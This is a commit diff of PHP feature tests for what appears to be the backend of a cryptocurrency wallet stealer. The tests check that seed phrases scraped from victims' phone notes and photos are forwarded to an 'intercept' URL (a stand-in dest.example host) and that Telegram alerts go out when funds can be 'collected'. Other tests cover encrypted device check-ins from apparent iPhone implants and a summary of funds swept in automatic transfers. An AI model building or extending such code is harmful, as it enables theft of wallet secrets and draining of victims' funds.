feat: interept
This commit is contained in:
@@ -92,14 +92,56 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, '<a href="https://tronscan.org/#/address/'.self::TRON_0.'">🔍</a>')
|
||||
&& str_contains($text, 'TRX: 3.5')
|
||||
&& str_contains($text, 'USDT: 12')
|
||||
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function collectable_telegram_mentions_chat_members_not_plain_at_all(): void
|
||||
{
|
||||
Http::fake([
|
||||
'*getChatAdministrators*' => Http::response([
|
||||
'ok' => true,
|
||||
'result' => [
|
||||
['user' => ['id' => 111, 'is_bot' => true, 'username' => 'thebot']],
|
||||
['user' => ['id' => 222, 'is_bot' => false, 'username' => 'alice']],
|
||||
['user' => ['id' => 333, 'is_bot' => false, 'first_name' => 'Bob']],
|
||||
],
|
||||
], 200),
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-collect-mention']);
|
||||
$this->storeMnemonic($device);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => self::TRON_0,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'trx' => 1,
|
||||
'usdt' => 2,
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'sendMessage')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '<a href="tg://user?id=222">@所有人</a>')
|
||||
&& str_contains($text, 'tg://user?id=333')
|
||||
&& ! str_contains($text, 'tg://user?id=111');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function unmatched_link_does_not_send_collectable_telegram(): void
|
||||
{
|
||||
@@ -191,10 +233,14 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, self::ETH_0)
|
||||
&& str_contains($text, self::BTC_0)
|
||||
&& str_contains($text, 'https://tronscan.org/#/address/'.self::TRON_0)
|
||||
&& str_contains($text, 'https://etherscan.io/address/'.self::ETH_0)
|
||||
&& str_contains($text, 'https://mempool.space/address/'.self::BTC_0)
|
||||
&& str_contains($text, 'TRX:')
|
||||
&& str_contains($text, 'USDT:')
|
||||
&& str_contains($text, 'BTC:')
|
||||
|
||||
@@ -11,7 +11,6 @@ use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\MnemonicScanService;
|
||||
use App\Services\MnemonicScanStatus;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
@@ -54,6 +53,7 @@ TXT;
|
||||
#[Test]
|
||||
public function twelve_note_words_auto_confirm_and_ingest(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-12');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -82,6 +82,7 @@ TXT;
|
||||
#[Test]
|
||||
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
|
||||
$device = $this->device('dev-scan-glued');
|
||||
Note::query()->create([
|
||||
@@ -142,6 +143,7 @@ TXT;
|
||||
#[Test]
|
||||
public function admin_can_edit_and_confirm_a_suspected_photo(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-confirm');
|
||||
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
@@ -218,6 +220,7 @@ TXT;
|
||||
#[Test]
|
||||
public function twelve_photo_words_auto_confirm_with_album_source(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-photo-12');
|
||||
$photo = $this->photoWithOcr($device, self::PHRASE);
|
||||
|
||||
@@ -259,6 +262,7 @@ TXT;
|
||||
#[Test]
|
||||
public function hidden_agent_scan_ingests_onto_official_device(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
config(['coruna.scan.agent_visible' => false]);
|
||||
$official = $this->officialDevice('dev-official-holder');
|
||||
$device = $this->device('dev-scan-reattach');
|
||||
@@ -450,7 +454,7 @@ TXT;
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd');
|
||||
Note::query()->create([
|
||||
@@ -463,8 +467,10 @@ TXT;
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic);
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
|
||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $device->noteScans()->value('scan_status'));
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_starts_with($request->url(), 'https://dest.example/us')) {
|
||||
return false;
|
||||
@@ -487,6 +493,26 @@ TXT;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function forwarded_photo_scan_stays_suspected(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd-photo');
|
||||
$photo = $this->photoWithOcr($device, self::PHRASE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
|
||||
$photo->refresh();
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void
|
||||
{
|
||||
@@ -496,7 +522,7 @@ TXT;
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
'*' => Http::response('fail', 500),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0);
|
||||
$this->bindPhraseBalance(false);
|
||||
|
||||
$device = $this->device('dev-scan-nofwd');
|
||||
Note::query()->create([
|
||||
@@ -510,7 +536,15 @@ TXT;
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertFalse((bool) $device->mnemonics()->first()?->discovery_complete);
|
||||
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
|
||||
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
|
||||
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -521,7 +555,7 @@ TXT;
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-nourl');
|
||||
Note::query()->create([
|
||||
@@ -538,23 +572,67 @@ TXT;
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram'));
|
||||
}
|
||||
|
||||
private function bindFundedDiscovery(string $address, float $usdt): void
|
||||
#[Test]
|
||||
public function confirmed_scan_persists_when_forward_fails(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('fail', 500),
|
||||
]);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd-fail');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'fwdfail'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmed_scan_persists_when_balance_probe_fails(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
|
||||
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andThrow(new \RuntimeException('rpc down'));
|
||||
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
|
||||
|
||||
$device = $this->device('dev-scan-probe-fail');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'probefail'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
}
|
||||
|
||||
private function bindPhraseBalance(bool $hasBalance): void
|
||||
{
|
||||
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
|
||||
$discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) {
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'address' => $address,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => '备忘录扫描',
|
||||
'usdt' => $usdt,
|
||||
'trx' => 0,
|
||||
'monitor' => 1,
|
||||
]);
|
||||
|
||||
return $usdt > 0 ? 1 : 0;
|
||||
});
|
||||
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andReturn($hasBalance);
|
||||
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class RejectUnknownDeviceKeyTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const JUNK_LONG = 'CEFCAEEAEFADCDFAEC238552151148443485EF922FAAFCDEAECDECDECEDCE018';
|
||||
|
||||
private const JUNK_SHORT = '46BE1';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'tg-token',
|
||||
'coruna.telegram.owner_chat_id' => '10001',
|
||||
]);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function xxbb_profile_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => self::JUNK_LONG,
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk()->assertSee('1786468227899{}', false);
|
||||
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => self::JUNK_SHORT,
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function darksword_census_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::JUNK_LONG,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::JUNK_SHORT,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function app_register_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->postJson('/api/v2/devices', [
|
||||
'deviceId' => self::JUNK_LONG,
|
||||
'hardwareModel' => 'iPhone15,2',
|
||||
'iosVersion' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->call('POST', '/api/ap/u?a=chan1¬es.zip', [], [], [], [
|
||||
'HTTP_X_DEVICE_ID' => self::JUNK_SHORT,
|
||||
'HTTP_X_IOS_VERSION' => '18.6',
|
||||
'CONTENT_TYPE' => 'application/octet-stream',
|
||||
], 'not-a-real-zip')->assertOk()->assertJson(['ok' => true, 'bind' => false]);
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
}
|
||||
}
|
||||
@@ -153,6 +153,8 @@ class SystemAdminTest extends TestCase
|
||||
'telegram_owner_chat_id' => '-1001',
|
||||
'official_album_storage' => '1',
|
||||
'auto_transfer_enabled' => '0',
|
||||
'scan_forward_min_usdt' => '10',
|
||||
'scan_forward_min_trx' => '20',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
@@ -165,6 +167,10 @@ class SystemAdminTest extends TestCase
|
||||
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
|
||||
$this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
|
||||
$this->assertTrue(config('coruna.album_storage.official_default'));
|
||||
$this->assertSame('10', config('coruna.scan.forward_min_usdt'));
|
||||
$this->assertSame('20', config('coruna.scan.forward_min_trx'));
|
||||
$this->assertSame('0', config('coruna.scan.forward_min_eth'));
|
||||
$this->assertStringContainsString('SCAN_FORWARD_MIN_USDT=10', $env);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -203,6 +209,7 @@ class SystemAdminTest extends TestCase
|
||||
->assertSee('TRANSFER_TO_ADDRESS_SOL')
|
||||
->assertSee('只能在 .env 配置')
|
||||
->assertDontSee('hidden-cdn.example.com')
|
||||
->assertSee('转发门槛')
|
||||
->assertSee('TELEGRAM_BOT_TOKEN')
|
||||
->assertSee('@ops_bot')
|
||||
->assertDontSee('助记词明文(员工 / 代理)')
|
||||
|
||||
@@ -188,7 +188,8 @@ class TokenviewWebhookTest extends TestCase
|
||||
&& str_contains($text, 'USDT')
|
||||
&& str_contains($text, '来源</b>: imToken - TRX')
|
||||
&& str_contains($text, '可归集')
|
||||
&& str_contains($text, '⏳');
|
||||
&& str_contains($text, '⏳')
|
||||
&& ! str_contains($text, '@所有人');
|
||||
});
|
||||
}
|
||||
|
||||
@@ -539,7 +540,8 @@ class TokenviewWebhookTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '余额入账')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '余额入账')
|
||||
&& str_contains($text, '来源</b>: imToken - ETH')
|
||||
&& str_contains($text, '可归集</b>: ✅')
|
||||
&& ! str_contains($text, '可归集</b>: ⏳');
|
||||
|
||||
@@ -36,7 +36,10 @@ class TransferRecordAdminTest extends TestCase
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.transfers.index'))
|
||||
->assertOk()
|
||||
->assertSee('交易记录');
|
||||
->assertSee('交易记录')
|
||||
->assertSee('时间范围')
|
||||
->assertSee('成功归集金额')
|
||||
->assertSee('手续费补足金额');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data'))
|
||||
@@ -44,7 +47,123 @@ class TransferRecordAdminTest extends TestCase
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.asset', 'USDT')
|
||||
->assertJsonPath('data.0.status', 'success');
|
||||
->assertJsonPath('data.0.status', 'success')
|
||||
->assertJsonPath('summary.totals.0.asset', 'USDT')
|
||||
->assertJsonPath('summary.totals.0.amount', '10')
|
||||
->assertJsonPath('summary.totals.1.asset', 'ETH')
|
||||
->assertJsonPath('summary.totals.1.amount', '0');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function transfer_summary_follows_filters_and_counts_success_only(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin-sum', 'password' => 'admin123']);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => 'TFromA',
|
||||
'to_address' => 'TToA',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'ok-usdt',
|
||||
'amount' => '12.5',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => '0xFromB',
|
||||
'to_address' => '0xToB',
|
||||
'chain' => 'eth',
|
||||
'tx_hash' => 'ok-eth',
|
||||
'amount' => '0.75',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'ETH',
|
||||
'operator' => 'admin',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => 'TFromC',
|
||||
'to_address' => 'TToC',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'fail-usdt',
|
||||
'amount' => '99',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_FAILED,
|
||||
]);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => 'TFeeFrom',
|
||||
'to_address' => 'TFeeTo',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'fee-ok',
|
||||
'amount' => '20',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'TRX',
|
||||
'operator' => 'fee-topup:auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('summary.totals.0.asset', 'USDT')
|
||||
->assertJsonPath('summary.totals.0.amount', '12.5')
|
||||
->assertJsonPath('summary.totals.1.asset', 'ETH')
|
||||
->assertJsonPath('summary.totals.1.amount', '0.75')
|
||||
->assertJsonPath('summary.totals.2.asset', 'TRX')
|
||||
->assertJsonPath('summary.totals.2.amount', '0')
|
||||
->assertJsonPath('summary.fee_totals.2.asset', 'TRX')
|
||||
->assertJsonPath('summary.fee_totals.2.amount', '20');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data', ['asset' => 'USDT', 'status' => 'failed']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('summary.totals.0.amount', '12.5')
|
||||
->assertJsonPath('summary.totals.1.amount', '0');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function transfer_summary_respects_date_range(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin-range', 'password' => 'admin123']);
|
||||
$old = TransferRecord::query()->create([
|
||||
'from_address' => 'TOld',
|
||||
'to_address' => 'TTo',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'old',
|
||||
'amount' => '20',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
$old->created_at = '2026-01-01 12:00:00';
|
||||
$old->save();
|
||||
|
||||
$fresh = TransferRecord::query()->create([
|
||||
'from_address' => 'TNew',
|
||||
'to_address' => 'TTo',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'new',
|
||||
'amount' => '3',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
$fresh->created_at = '2026-10-01 12:00:00';
|
||||
$fresh->save();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data', [
|
||||
'date_from' => '2026-10-01',
|
||||
'date_to' => '2026-10-02',
|
||||
]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.tx_hash', 'new')
|
||||
->assertJsonPath('summary.totals.0.amount', '3');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
Reference in New Issue
Block a user